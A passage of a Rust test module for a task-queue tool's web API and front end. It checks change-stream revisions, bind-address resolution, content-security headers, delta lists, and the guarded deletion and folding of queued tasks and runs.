12997 && payload["talks_rev"].is_u64()
12998 && payload["notifications_rev"].is_u64()
12999 && payload["loop_rev"].is_u64(),
13000 "the client needs one revision per store to know what to refetch, \
13001 and `talks_rev` is the only notification a standing talk gets - a \
13002 phone whose radio slept through a turn learns about it here, as \
13003 does one whose operator started the loop from another device: \
13004 {payload}"
13005 );
13006
13007 let health = f.get("/api/health").await.json();
13014 for key in [
13015 "queue_rev",
13016 "runs_rev",
13017 "questions_rev",
13018 "talks_rev",
13019 "notifications_rev",
13020 "loop_rev",
13021 ] {
13022 assert!(
13023 health[key].is_u64(),
13024 "health is the change stream's fallback and is missing `{key}`: {health}"
13025 );
13026 }
13027 }
13028
13029 #[tokio::test]
13030 async fn a_new_turn_on_a_talk_moves_the_change_stream_revision() {
13031 let f = Fixture::start().await;
13032 let before = f.get("/api/health").await.json()["talks_rev"]
13033 .as_u64()
13034 .expect("talks_rev");
13035
13036 let talk = seed_talk(&f, "20260904-014455-ab12", "open");
13037 std::thread::sleep(Duration::from_millis(10));
13038 let mut on_disk = f.talks().get(&talk).expect("get seeded talk");
13039 on_disk.turns.push(crate::talk::Turn {
13040 who: crate::talk::Who::Operator,
13041 body: "a new turn".to_owned(),
13042 at: Timestamp::now(),
13043 attachments: Vec::new(),
13044 usage: None,
13045 });
13046 f.talks().put(&mut on_disk).expect("record a turn");
13047
13048 let after = f.get("/api/health").await.json()["talks_rev"]
13049 .as_u64()
13050 .expect("talks_rev");
13051 assert_ne!(
13052 before, after,
13053 "a phone must be able to notice a talk's reply without polling every store"
13054 );
13055 }
13056
13057 #[test]
13058 fn bind_reads_back_from_the_spelling_the_cli_prints() {
13059 for bind in [Bind::Auto, Bind::Addr(IpAddr::V4(Ipv4Addr::LOCALHOST))] {
13063 assert_eq!(bind.to_string().parse::<Bind>(), Ok(bind));
13064 }
13065 assert_eq!("AUTO".parse::<Bind>(), Ok(Bind::Auto));
13066 assert!("everywhere".parse::<Bind>().is_err());
13067 }
13068
13069 #[test]
13070 fn an_explicit_bind_address_is_taken_verbatim() {
13071 let asked = IpAddr::V4(Ipv4Addr::new(192, 168, 1, 20));
13072
13073 let (addr, warning) = resolve_bind(&Bind::Addr(asked));
13074
13075 assert_eq!(addr, asked);
13076 assert!(
13077 warning.is_none(),
13078 "an operator who named an address gets no lecture"
13079 );
13080 }
13081
13082 #[test]
13083 fn bind_auto_either_finds_a_tailnet_address_or_says_the_ui_is_local_only() {
13084 let (addr, warning) = resolve_bind(&Bind::Auto);
13085
13086 match addr {
13093 IpAddr::V4(ip) if is_tailnet(&ip) => {
13094 assert!(warning.is_none(), "a tailnet address needs no warning");
13095 }
13096 other => {
13097 assert_eq!(other, IpAddr::V4(Ipv4Addr::LOCALHOST));
13098 let warning = warning.expect("a fallback has to explain itself");
13099 assert!(
13100 warning.contains("127.0.0.1") && warning.contains("local-only"),
13101 "the warning says what happened and what it costs: {warning}"
13102 );
13103 }
13104 }
13105 }
13106
13107 #[test]
13108 fn only_the_cgnat_block_counts_as_a_tailnet_address() {
13109 assert!(is_tailnet(&Ipv4Addr::new(100, 64, 0, 1)));
13113 assert!(is_tailnet(&Ipv4Addr::new(100, 127, 255, 254)));
13114 assert!(!is_tailnet(&Ipv4Addr::new(100, 63, 255, 255)));
13115 assert!(!is_tailnet(&Ipv4Addr::new(100, 128, 0, 1)));
13116 assert!(!is_tailnet(&Ipv4Addr::new(127, 0, 0, 1)));
13117 }
13118
13119 #[test]
13120 fn an_ambiguous_prefix_is_a_bad_request_and_a_missing_one_is_not_found() {
13121 let ids = vec![
13122 "20260902-140501-aaaa".to_owned(),
13123 "20260902-140502-aabb".to_owned(),
13124 ];
13125
13126 let missing = pick(ids.clone(), "zzzz", "run").expect_err("no match");
13127 let ambiguous = pick(ids.clone(), "202609", "run").expect_err("two matches");
13128 let short = pick(ids, "aabb", "run").expect("the short id is the tail of an id");
13129
13130 assert_eq!(missing.status, StatusCode::NOT_FOUND);
13131 assert_eq!(ambiguous.status, StatusCode::BAD_REQUEST);
13132 assert_eq!(short, "20260902-140502-aabb");
13133 }
13134 #[tokio::test]
13135 async fn a_panel_reaches_its_assets_by_the_bare_name_it_was_told_to_use() {
13136 let fx = Fixture::start().await;
13142 let id = panel(
13143 &fx,
13144 "<img src=\"shot.png\">",
13145 &[("shot.png", b"\x89PNG\r\n\x1a\n")],
13146 );
13147
13148 let doc = fx
13150 .get(&format!("/api/questions/{id}/panel/index.html"))
13151 .await;
13152 assert_eq!(doc.status, 200, "{}", doc.body);
13153 assert_eq!(doc.header("content-type"), Some("text/html; charset=utf-8"));
13154
13155 let sibling = fx.get(&format!("/api/questions/{id}/panel/shot.png")).await;
13156 assert_eq!(sibling.status, 200, "{}", sibling.body);
13157 assert_eq!(sibling.header("content-type"), Some("image/png"));
13158 assert_eq!(
13159 sibling.header("content-security-policy"),
13160 Some(PANEL_CSP),
13161 "the sibling route must carry the same policy as the asset route"
13162 );
13163
13164 assert_eq!(
13167 fx.head(&format!("/api/questions/{id}/panel")).await.status,
13168 200
13169 );
13170 }
13171
13172 #[test]
13173 fn delta_stamps_cover_add_update_remove_and_noop() {
13174 let before: Stamps = [("a".into(), (1, 10)), ("b".into(), (2, 20))].into();
13175 let after: Stamps = [("b".into(), (2, 21)), ("c".into(), (3, 30))].into();
13176 let delta = diff_stamps(&before, &after, 42);
13177 assert_eq!(delta.base, 42);
13178 assert_eq!(delta.changed, ["b", "c"]);
13179 assert_eq!(delta.removed, ["a"]);
13180 let same = diff_stamps(&after, &after, 43);
13181 assert!(same.changed.is_empty() && same.removed.is_empty());
13182 assert_ne!(stamps_revision(&before), stamps_revision(&after));
13183 let nanos: Stamps = [("b".into(), (2, 20))].into();
13184 let same_ms: Stamps = [("b".into(), (3, 20))].into();
13185 assert_ne!(stamps_revision(&nanos), stamps_revision(&same_ms));
13186 assert_eq!(stamps_revision(&Stamps::new()), 0);
13187 }
13188
13189 fn delta_test_ui(home: &FsPath) -> Arc<Ui> {
13190 std::fs::create_dir_all(home.join("runs")).unwrap();
13191 Arc::new(Ui::new(
13192 Queue::at(home.join("queue")),
13193 Questions::at(home.join("questions")),
13194 Talks::at(home.join("talks")),
13195 home.join("runs"),
13196 home.to_owned(),
13197 PathBuf::from("/repo/magi"),
13198 ))
13199 }
13200
13201 #[tokio::test]
13202 async fn delta_stream_announces_a_base_then_changed_and_removed_ids() {
13203 let home = TempDir::new().unwrap();
13204 let ui = delta_test_ui(home.path());
13205 let mut task = Task::new(
13206 "stream task".into(),
13207 "text".into(),
13208 PathBuf::from("/repo"),
13209 Source::Human,
13210 );
13211 ui.queue.put(&mut task).unwrap();
13212 let response = events(State(ui.clone())).await.into_response();
13213 let mut stream = response.into_body().into_data_stream();
13214 async fn change(stream: &mut axum::body::BodyDataStream) -> serde_json::Value {
13215 let chunk = tokio::time::timeout(Duration::from_secs(5), stream.next())
13216 .await
13217 .unwrap()
13218 .unwrap()
13219 .unwrap();
13220 let text = String::from_utf8(chunk.to_vec()).unwrap();
13221 let data = text
13222 .lines()
13223 .find_map(|line| {
13224 line.strip_prefix("data: ")
13225 .or_else(|| line.strip_prefix("data:"))
13226 })
13227 .unwrap();
13228 serde_json::from_str(data).unwrap()
13229 }
13230 let initial = change(&mut stream).await;
13231 assert!(initial.get("queue_delta").is_none());
13232 task.instruction.push_str(" changed");
13233 ui.queue.put(&mut task).unwrap();
13234 let updated = change(&mut stream).await;
13235 assert_eq!(updated["queue_delta"]["base"], initial["queue_rev"]);
13236 assert_eq!(
13237 updated["queue_delta"]["changed"],
13238 serde_json::json!([task.id])
13239 );
13240 assert_eq!(
13241 updated["queue_rev"].as_u64(),
13242 Some(stamps_revision(&store_stamps(ui.queue.root(), false)))
13243 );
13244 std::fs::remove_file(ui.queue.path_of(&task.id)).unwrap();
13245 let removed = change(&mut stream).await;
13246 assert_eq!(removed["queue_delta"]["base"], updated["queue_rev"]);
13247 assert_eq!(
13248 removed["queue_delta"]["removed"],
13249 serde_json::json!([task.id])
13250 );
13251 }
13252
13253 #[tokio::test]
13254 async fn delta_lists_keep_blockers_and_respect_the_run_window() {
13255 let home = TempDir::new().unwrap();
13256 let ui = delta_test_ui(home.path());
13257 let queue = ui.queue.clone();
13258 let query = |ids: Option<&str>| {
13259 Query(ListQuery {
13260 limit: Some(2),
13261 ids: ids.map(str::to_owned),
13262 })
13263 };
13264 let mut root = Task::new(
13265 "root".into(),
13266 "instruction".into(),
13267 PathBuf::from("/repo"),
13268 Source::Human,
13269 );
13270 queue.put(&mut root).unwrap();
13271 let mut blocked = Task::new(
13272 "blocked".into(),
13273 "instruction".into(),
13274 PathBuf::from("/repo"),
13275 Source::Human,
13276 );
13277 blocked.block(vec![root.id.clone()], None);
13278 queue.put(&mut blocked).unwrap();
13279 let whole =
13280 serde_json::to_value(queue_list(State(ui.clone()), query(None)).await.unwrap().0)
13281 .unwrap();
13282 let subset = serde_json::to_value(
13283 queue_list(State(ui.clone()), query(Some(&root.id)))
13284 .await
13285 .unwrap()
13286 .0,
13287 )
13288 .unwrap();
13289 assert_eq!(whole, subset, "requested root plus its blocked dependent");
13290 let blockers = serde_json::to_value(
13291 queue_list(State(ui.clone()), query(Some("")))
13292 .await
13293 .unwrap()
13294 .0,
13295 )
13296 .unwrap();
13297 assert_eq!(blockers.as_array().unwrap().len(), 1);
13298 assert_eq!(blockers[0]["id"], blocked.id);
13299 assert_eq!(
13300 blockers[0]["waits_on"],
13301 whole
13302 .as_array()
13303 .unwrap()
13304 .iter()
13305 .find(|row| row["id"] == blocked.id)
13306 .unwrap()["waits_on"]
13307 );
13308
13309 for id in [
13310 "20260902-140501-aaaa",
13311 "20260902-140502-bbbb",
13312 "20260902-140503-cccc",
13313 ] {
13314 write_run(&ui.runs, id, RunStatus::Merged);
13315 }
13316 let old = serde_json::to_value(
13317 runs_list(State(ui.clone()), query(Some("20260902-140501-aaaa")))
13318 .await
13319 .unwrap()
13320 .0,
13321 )
13322 .unwrap();
13323 assert!(
13324 old.as_array().unwrap().is_empty(),
13325 "older updates must not enter the window"
13326 );
13327 let newest = serde_json::to_value(
13328 runs_list(State(ui.clone()), query(Some("20260902-140503-cccc")))
13329 .await
13330 .unwrap()
13331 .0,
13332 )
13333 .unwrap();
13334 assert_eq!(newest.as_array().unwrap().len(), 1);
13335 assert_eq!(newest[0]["id"], "20260902-140503-cccc");
13336
13337 seed_talk_at(&ui.talks, "20260905-000000-d4e5", "open");
13338 seed_talk_at(&ui.talks, "20260905-000001-d4e6", "open");
13339 let talks = serde_json::to_value(
13340 talks_list(State(ui.clone()), query(Some("20260905-000000-d4e5")))
13341 .await
13342 .unwrap()
13343 .0,
13344 )
13345 .unwrap();
13346 assert_eq!(talks.as_array().unwrap().len(), 1);
13347 assert_eq!(talks[0]["id"], "20260905-000000-d4e5");
13348 assert_eq!(
13349 serde_json::to_value(
13350 talks_list(State(ui.clone()), query(Some("")))
13351 .await
13352 .unwrap()
13353 .0
13354 )
13355 .unwrap(),
13356 serde_json::json!([])
13357 );
13358 }
13359
13360 #[tokio::test]
13361 #[ignore = "manual payload measurement; requires a JSON snapshot in MAGI_WEB_BENCH_HOME"]
13362 async fn delta_payload_benchmark() {
13363 let home = PathBuf::from(std::env::var_os("MAGI_WEB_BENCH_HOME").expect("snapshot"));
13364 let ui = delta_test_ui(&home);
13365 let query = |ids: Option<String>| {
13366 Query(ListQuery {
13367 limit: Some(50),
13368 ids,
13369 })
13370 };
13371 let queue = queue_list(State(ui.clone()), query(None)).await.unwrap().0;
13372 let runs = runs_list(State(ui.clone()), query(None)).await.unwrap().0;
13373 let talks = talks_list(State(ui.clone()), query(None)).await.unwrap().0;
13374 let queue_id = queue
13375 .iter()
13376 .find(|row| row.task.status == crate::queue::TaskStatus::Running)
13377 .unwrap_or(&queue[0])
13378 .task
13379 .id
13380 .clone();
13381 let queue_delta = queue_list(State(ui.clone()), query(Some(queue_id)))
13382 .await
13383 .unwrap()
13384 .0;
13385 let runs_delta = runs_list(State(ui.clone()), query(Some(runs[0].id.clone())))
13386 .await
13387 .unwrap()
13388 .0;
13389 let talks_delta = talks_list(State(ui.clone()), query(Some(talks[0].talk.id.clone())))
13390 .await
13391 .unwrap()
13392 .0;
13393 let bytes = |rows: serde_json::Value| serde_json::to_vec(&rows).unwrap().len();
13394 eprintln!(
13395 "DELTA_PAYLOAD {}",
13396 serde_json::json!({
13397 "queue": [bytes(serde_json::to_value(&queue).unwrap()), bytes(serde_json::to_value(&queue_delta).unwrap())],
13398 "runs50": [bytes(serde_json::to_value(&runs).unwrap()), bytes(serde_json::to_value(&runs_delta).unwrap())],
13399 "talks": [bytes(serde_json::to_value(&talks).unwrap()), bytes(serde_json::to_value(&talks_delta).unwrap())],
13400 "counts": [queue.len(), runs.len(), talks.len()],
13401 "blocked": queue_delta.len() - 1,
13402 })
13403 );
13404 }
13405
13406 #[test]
13407 fn runs_revision_moves_when_deleting_an_older_run() {
13408 let temp = TempDir::new().expect("tempdir");
13409 let runs = temp.path().join("runs");
13410 std::fs::create_dir_all(&runs).expect("create runs dir");
13411
13412 assert_eq!(runs_revision(&runs), 0, "empty runs has 0 revision");
13413
13414 write_run(&runs, "20260901-100000-old1", RunStatus::Merged);
13415 std::thread::sleep(Duration::from_millis(10));
13416 write_run(&runs, "20260902-100000-new2", RunStatus::Merged);
13417
13418 let rev_before = runs_revision(&runs);
13419 assert!(rev_before > 0);
13420
13421 let old_dir = runs.join("20260901-100000-old1");
13422 std::fs::remove_dir_all(&old_dir).expect("remove old run");
13423
13424 let rev_after = runs_revision(&runs);
13425 assert_ne!(
13426 rev_before, rev_after,
13427 "deleting an older run must change the revision so other clients see the deletion"
13428 );
13429 }
13430
13431 fn write_state(runs: &FsPath, state: &RunState) {
13436 let dir = runs.join(&state.id);
13437 std::fs::create_dir_all(&dir).expect("run dir");
13438 std::fs::write(
13439 dir.join("run.json"),
13440 serde_json::to_string_pretty(state).expect("serialize run"),
13441 )
13442 .expect("write run.json");
13443 }
13444
13445 #[test]
13450 fn runs_revision_moves_when_a_seat_starts_and_again_when_it_finishes() {
13451 let temp = TempDir::new().expect("tempdir");
13452 let runs = temp.path().join("runs");
13453 std::fs::create_dir_all(&runs).expect("create runs dir");
13454 let mut state = RunState::new(
13455 PathBuf::from("/repo/magi"),
13456 "main".to_owned(),
13457 "0123456789abcdef".to_owned(),
13458 "task".to_owned(),
13459 Config::default(),
13460 );
13461 state.id = "20260902-100000-c0de".to_owned();
13462 write_state(&runs, &state);
13463
13464 let rev_idle = runs_revision(&runs);
13465 std::thread::sleep(Duration::from_millis(10));
13466 state.seat_started("judge", "judge-1", std::time::Duration::from_secs(60), 0);
13467 write_state(&runs, &state);
13468 let rev_started = runs_revision(&runs);
13469 assert_ne!(
13470 rev_idle, rev_started,
13471 "a seat starting must move the revision"
13472 );
13473
13474 std::thread::sleep(Duration::from_millis(10));
13475 state.seat_finished("judge-1");
13476 write_state(&runs, &state);
13477 let rev_finished = runs_revision(&runs);
13478 assert_ne!(
13479 rev_started, rev_finished,
13480 "and clearing it again must move the revision a second time"
13481 );
13482 }
13483
13484 #[tokio::test]
13485 async fn queue_json_carries_dependency_fields_and_a_hold_clears_them() {
13486 let fx = Fixture::start().await;
13491 let q = fx.queue();
13492
13493 let mut t = Task::new(
13494 "Task".to_owned(),
13495 "Instruction".to_owned(),
13496 PathBuf::from("/repo"),
13497 Source::Human,
13498 );
13499 t.block(
13500 vec!["20260101-000000-dead".to_owned()],
13501 Some("waiting on Task 1".to_owned()),
13502 );
13503 t.answers.push(crate::queue::AnsweredQuestion {
13504 question: "Which backend?".to_owned(),
13505 answer: "SQLite".to_owned(),
13506 });
13507 q.put(&mut t).expect("put t");
13508
13509 let res = fx.get("/api/queue").await;
13510 assert_eq!(res.status, 200);
13511 let list = res.json();
13512 let view = list
13513 .as_array()
13514 .expect("array")
13515 .iter()
13516 .find(|v| v["id"] == t.id)
13517 .expect("task in list");
13518 assert_eq!(view["status_str"], "blocked");
13519 assert_eq!(
13520 view["blocked_by"],
13521 serde_json::json!(["20260101-000000-dead"])
13522 );
13523 assert_eq!(view["block_reason"], "waiting on Task 1");
13524 assert_eq!(view["answers"][0]["question"], "Which backend?");
13525 assert_eq!(view["answers"][0]["answer"], "SQLite");
13526
13527 let res = fx
13531 .post(&format!("/api/queue/{}/hold", t.short()), None)
13532 .await;
13533 assert_eq!(res.status, 200);
13534 let held = res.json();
13535 assert_eq!(held["status_str"], "held");
13536 assert_eq!(held["blocked_by"], serde_json::json!([]));
13537 assert!(held["block_reason"].is_null());
13538 assert_eq!(held["answers"][0]["answer"], "SQLite");
13539 }
13540
13541 #[tokio::test]
13542 async fn queue_json_shows_a_blocked_chain_and_its_stuck_root() {
13543 let fx = Fixture::start().await;
13544 let q = fx.queue();
13545 let mk = |title: &str| {
13546 Task::new(
13547 title.to_owned(),
13548 "Instruction".to_owned(),
13549 PathBuf::from("/repo"),
13550 Source::Human,
13551 )
13552 };
13553 let mut root = mk("root");
13554 root.hold_manual(Some("waiting".to_owned()));
13555 q.put(&mut root).unwrap();
13556 let mut mid = mk("mid");
13557 mid.block(vec![root.id.clone()], None);
13558 q.put(&mut mid).unwrap();
13559 let mut leaf = mk("leaf");
13560 leaf.block(vec![mid.id.clone()], None);
13561 q.put(&mut leaf).unwrap();
13562
13563 let list = fx.get("/api/queue").await.json();
13564 let find = |id: &str| {
13565 list.as_array()
13566 .unwrap()
13567 .iter()
13568 .find(|v| v["id"] == id)
13569 .unwrap()
13570 .clone()
13571 };
13572 let leaf_view = find(&leaf.id);
13573 assert_eq!(
13574 leaf_view["waits_on"],
13575 serde_json::json!([format!("{} (blocked → {} held)", mid.short(), root.short())])
13576 );
13577 assert_eq!(leaf_view["stuck_roots"], serde_json::json!([root.short()]));
13578 assert_eq!(
13579 find(&mid.id)["waits_on"],
13580 serde_json::json!([format!("{} (held)", root.short())])
13581 );
13582 assert_eq!(find(&root.id)["waits_on"], serde_json::json!([]));
13583 }
13584
13585 #[tokio::test]
13586 async fn delete_queue_task_deletes_file_and_guards_running_and_locked() {
13587 let fx = Fixture::start().await;
13588 let q = fx.queue();
13589
13590 let mut t1 = Task::new(
13592 "Task 1".to_owned(),
13593 "Instruction 1".to_owned(),
13594 PathBuf::from("/repo"),
13595 Source::Human,
13596 );
13597 let run_id = "20260901-000000-r111";
13598 t1.runs.push(run_id.to_owned());
13599 write_run(&fx.runs(), run_id, RunStatus::Merged);
13600 q.put(&mut t1).expect("put t1");
13601
13602 let res = fx.delete(&format!("/api/queue/{}", t1.short())).await;
13604 assert_eq!(res.status, 204);
13605 assert!(res.body.is_empty(), "204 No Content has no body");
13606 assert!(!q.path_of(&t1.id).exists(), "task file is deleted");
13607 assert!(
13608 fx.runs().join(run_id).exists(),
13609 "run directory must not be deleted when its task is deleted"
13610 );
13611
13612 let mut t2 = Task::new(
13614 "Task 2".to_owned(),
13615 "Instruction 2".to_owned(),
13616 PathBuf::from("/repo"),
13617 Source::Human,
13618 );
13619 t2.status = TaskStatus::Running;
13620 q.put(&mut t2).expect("put t2");
13621 let mut beat = crate::daemon::Status::new();
13622 beat.current = vec![crate::daemon::Current {
13623 task: t2.id.clone(),
13624 run: "20260901-000000-r222".to_owned(),
13625 }];
13626 beat.updated_at = jiff::Timestamp::now();
13627 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
13628 .expect("publish a heartbeat");
13629 let res = fx.delete(&format!("/api/queue/{}", t2.id)).await;
13630 assert_eq!(res.status, 409);
13631 assert!(
13632 res.json()["error"]
13633 .as_str()
13634 .unwrap()
13635 .contains("live daemon")
13636 );
13637 assert!(q.path_of(&t2.id).exists(), "a task in flight is kept");
13638
13639 beat.updated_at = jiff::Timestamp::now() - jiff::SignedDuration::from_secs(600);
13645 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
13646 .expect("leave a stale heartbeat");
13647 let mut t3 = Task::new(
13648 "Task 3".to_owned(),
13649 "Instruction 3".to_owned(),
13650 PathBuf::from("/repo"),
13651 Source::Human,
13652 );
13653 t3.status = TaskStatus::Running;
13654 q.put(&mut t3).expect("put t3");
13655 std::mem::forget(q.claim(&t3.id).expect("claim t3"));
13656 let res = fx.delete(&format!("/api/queue/{}", t3.id)).await;
13657 assert_eq!(res.status, 204);
13658 assert!(!q.path_of(&t3.id).exists(), "the task file is gone");
13659 assert!(
13660 q.claim(&t3.id).is_ok(),
13661 "the stale lock went with it, so the id is claimable again"
13662 );
13663
13664 let res = fx.delete("/api/queue/nonexistent").await;
13666 assert_eq!(res.status, 404);
13667 }
13668
13669 #[tokio::test]
13670 async fn delete_run_deletes_directory_and_guards_running_and_unfolded() {
13671 let fx = Fixture::start().await;
13672 let runs = fx.runs();
13673
13674 let run_id = "20260901-000000-fold";
13676 let mut state = RunState::new(
13677 PathBuf::from("/repo"),
13678 "main".to_owned(),
13679 "abc".to_owned(),
13680 "instruction".to_owned(),
13681 Config::default(),
13682 );
13683 state.id = run_id.to_owned();
13684 state.status = RunStatus::Merged;
13685 state.candidates.push(crate::run::Candidate {
13686 index: 0,
13687 label: 'A',
13688 agent: "a".to_owned(),
13689 branch: "b".to_owned(),
13690 worktree: PathBuf::from("/w"),
13691 summary: String::new(),
13692 stat: String::new(),
13693 files: 1,
13694 commits: 1,
13695 empty: false,
13696 failed: None,
13697 verified_noop: None,
13698 duration_ms: 0,
13699 folded: true,
13700 });
13701 let dir = runs.join(run_id);
13702 std::fs::create_dir_all(dir.join("artifacts")).expect("create artifacts");
13703 std::fs::write(dir.join("artifacts").join("patch.diff"), "dummy diff")
13704 .expect("write artifact");
13705 std::fs::write(dir.join("run.json"), serde_json::to_string(&state).unwrap())
13706 .expect("write run.json");
13707
13708 let res = fx.delete(&format!("/api/runs/{}", state.short())).await;
13710 assert_eq!(res.status, 204);
13711 assert!(res.body.is_empty(), "204 has no body");
13712 assert!(!dir.exists(), "run directory and artifacts must be deleted");
13713
13714 let run_running = "20260901-000000-rung";
13719 write_run(&runs, run_running, RunStatus::Prep);
13720 let mut beat = crate::daemon::Status::new();
13721 beat.current = vec![crate::daemon::Current {
13722 task: "20260901-000000-task".to_owned(),
13723 run: run_running.to_owned(),
13724 }];
13725 beat.updated_at = jiff::Timestamp::now();
13726 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
13727 .expect("publish a heartbeat");
13728 let res = fx.delete(&format!("/api/runs/{run_running}")).await;
13729 assert_eq!(res.status, 409);
13730 assert!(
13731 res.json()["error"]
13732 .as_str()
13733 .unwrap()
13734 .contains("live daemon"),
13735 "the refusal must say who is holding it"
13736 );
13737 assert!(
13738 runs.join(run_running).exists(),
13739 "a run in flight keeps its directory"
13740 );
13741
13742 let run_unfolded = "20260901-000000-unfd";
13744 let mut state2 = RunState::new(
13745 PathBuf::from("/repo"),
13746 "main".to_owned(),
13747 "abc".to_owned(),
13748 "instruction".to_owned(),
13749 Config::default(),
13750 );
13751 state2.id = run_unfolded.to_owned();
13752 state2.status = RunStatus::Ready;
13753 state2.candidates.push(crate::run::Candidate {
13754 index: 0,
13755 label: 'A',
13756 agent: "a".to_owned(),
13757 branch: "b".to_owned(),
13758 worktree: PathBuf::from("/w"),
13759 summary: String::new(),
13760 stat: String::new(),
13761 files: 1,
13762 commits: 1,
13763 empty: false,
13764 failed: None,
13765 verified_noop: None,
13766 duration_ms: 0,
13767 folded: false,
13768 });
13769 let dir2 = runs.join(run_unfolded);
13770 std::fs::create_dir_all(&dir2).expect("create dir2");
13771 std::fs::write(
13772 dir2.join("run.json"),
13773 serde_json::to_string(&state2).unwrap(),
13774 )
13775 .expect("write run.json");
13776
13777 let res = fx.delete(&format!("/api/runs/{run_unfolded}")).await;
13778 assert_eq!(res.status, 409);
13779 assert!(res.json()["error"].as_str().unwrap().contains("magi fold"));
13780 assert!(dir2.exists(), "unfolded run directory is kept");
13781
13782 let res = fx.delete("/api/runs/nonexistent").await;
13784 assert_eq!(res.status, 404);
13785 }
13786
13787 #[test]
13796 fn stats_queue_tiles_render_even_when_there_are_no_runs() {
13797 let start = APP_JS
13798 .find("function renderStats() {")
13799 .expect("renderStats");
13800 let end = start
13801 + APP_JS[start..]
13802 .find("function statsTile(")
13803 .expect("the next top-level function");
13804 let body = &APP_JS[start..end];
13805
13806 let gate_start = body.find("if (!noRuns) {").expect("the noRuns gate");
13807 let gate_end = gate_start
13808 + body[gate_start..]
13809 .find("}\n renderStatsQueue")
13810 .expect("the gate's own closing brace, right before the unconditional call");
13811 let gated = &body[gate_start..gate_end];
13812
13813 assert_eq!(
13814 body.matches("renderStatsQueue(").count(),
13815 1,
13816 "renderStats must call renderStatsQueue exactly once: {body}"
13817 );
13818 assert!(
13819 !gated.contains("renderStatsQueue"),
13820 "renderStatsQueue must not be inside the `if (!noRuns)` block that hides the \
13821 run-derived panels on an empty run history - the queue panel has to render \
13822 regardless: {gated}"
13823 );
13824 }
13825
13826 #[test]
13827 fn web_ui_delete_contract_in_front_end() {
13828 assert!(APP_JS.contains("deleteRun:"));
13830 assert!(APP_JS.contains("deleteTask:"));
13831
13832 let run_cards_slice = &APP_JS[APP_JS.find("function createRunCard").unwrap()
13834 ..APP_JS.find("function renderRuns").unwrap()];
13835 assert!(!run_cards_slice.to_lowercase().contains("delete"));
13836
13837 assert!(APP_JS.contains("renderRunDelete"));
13839 assert!(APP_JS.contains("runDeleteReason"));
13840 assert!(APP_JS.contains("magi fold"));
13841 assert!(APP_JS.contains("This run is still in flight and cannot be deleted."));
13842
13843 assert!(APP_JS.contains("cancel.focus"));
13845 assert!(APP_JS.contains("armedRunDelete"));
13846 assert!(APP_JS.contains("renderTaskDeleteBox"));
13847 assert!(APP_JS.contains("armed${cap(key)}"));
13848
13849 assert!(APP_JS.contains("disabled: status === \"running\""));
13851 }
13852
13853 #[test]
13873 fn every_ref_a_run_card_uses_is_one_its_builder_published() {
13874 let build = APP_JS
13875 .find("function createRunCard")
13876 .expect("createRunCard exists");
13877 let update = APP_JS
13878 .find("function updateRunCard")
13879 .expect("updateRunCard exists");
13880 let end = APP_JS
13881 .find("function renderRuns")
13882 .expect("renderRuns exists");
13883
13884 let builder = &APP_JS[build..update];
13886 let open = builder.find("refs = {").expect("createRunCard sets refs");
13887 let literal = &builder[open + "refs = {".len()..];
13888 let close = literal.find('}').expect("the refs literal is closed");
13889 let published: HashSet<&str> = literal[..close]
13890 .split(',')
13891 .filter_map(|entry| entry.split(':').next())
13893 .map(str::trim)
13894 .filter(|name| !name.is_empty())
13895 .collect();
13896 assert!(
13897 published.len() > 5,
13898 "the refs literal did not parse into names: {published:?}"
13899 );
13900
13901 let mut used: Vec<&str> = Vec::new();
13904 let updaters = &APP_JS[update..end];
13905 for (at, _) in updaters.match_indices("r.") {
13906 let before = updaters[..at].chars().next_back();
13909 if before.is_some_and(|c| c.is_alphanumeric() || c == '_' || c == '$' || c == '.') {
13910 continue;
13911 }
13912 let rest = &updaters[at + 2..];
13913 let len = rest
13914 .find(|c: char| !(c.is_alphanumeric() || c == '_' || c == '$'))
13915 .unwrap_or(rest.len());
13916 if len > 0 {
13917 used.push(&rest[..len]);
13918 }
13919 }
13920 assert!(
13921 used.len() > 5,
13922 "no `r.<name>` uses were found; the updaters must have been rewritten: {used:?}"
13923 );
13924
13925 let missing: Vec<&str> = used
13926 .iter()
13927 .copied()
13928 .filter(|name| !published.contains(name))
13929 .collect();
13930 assert!(
13931 missing.is_empty(),
13932 "a run card's updater reaches for {missing:?}, which `createRunCard` \
13933 never put in `refs` - every card will throw and the list will \
13934 render empty under a count line that says otherwise. Published: \
13935 {published:?}"
13936 );
13937 }
13938
13939 #[tokio::test]
13940 async fn folding_from_the_phone_reports_what_it_removed() {
13941 let fx = Fixture::start().await;
13942 let runs = fx.runs();
13943
13944 let id = "20260901-000000-fold";
13948 write_run(&runs, id, RunStatus::Stalled);
13949 let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
13950 assert_eq!(res.status, 200);
13951 assert_eq!(res.json()["removed_count"], 0);
13952 assert_eq!(res.json()["run"], id);
13953 assert!(
13954 runs.join(id).exists(),
13955 "a fold keeps the run's record; only the worktrees go"
13956 );
13957 }
13958
13959 #[tokio::test]
13960 async fn folding_an_unreadable_run_falls_back_to_removing_it_wholesale() {
13961 let fx = Fixture::start().await;
13962 let runs = fx.runs();
13963 let wt = fx.home.path().join("wt").join("magi").join("dead");
13964 let id = "20260901-000000-dead";
13965 std::fs::create_dir_all(runs.join(id)).expect("run dir");
13966 std::fs::write(runs.join(id).join("run.json"), "not json").expect("garbage state");
13967 std::fs::create_dir_all(&wt).expect("worktree dir");
13968
13969 let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
13970 assert_eq!(res.status, 200, "{}", res.body);
13971 assert!(
13972 res.json()["removed_count"].as_u64().unwrap() > 0,
13973 "the worktree this build could not read a state for still went"
13974 );
13975 assert!(
13976 !runs.join(id).exists(),
13977 "an unreadable run has no candidate list to fold selectively, so \
13978 the whole record goes - same as `magi fold` on the CLI"
13979 );
13980 }
13981
13982 #[tokio::test]
13983 async fn deleting_an_unreadable_run_removes_it_wholesale() {
13984 let fx = Fixture::start().await;
13985 let runs = fx.runs();
13986 let wt = fx.home.path().join("wt").join("magi").join("gone");
13987 let id = "20260901-000000-gone";
13988 std::fs::create_dir_all(runs.join(id)).expect("run dir");
13989 std::fs::write(runs.join(id).join("run.json"), "not json").expect("garbage state");
13990 std::fs::create_dir_all(&wt).expect("worktree dir");
13991
13992 let res = fx.delete(&format!("/api/runs/{id}")).await;
13993 assert_eq!(res.status, 204, "{}", res.body);
13994 assert!(!runs.join(id).exists(), "the broken record is gone");
13995 assert!(!wt.exists(), "its worktree is gone too");
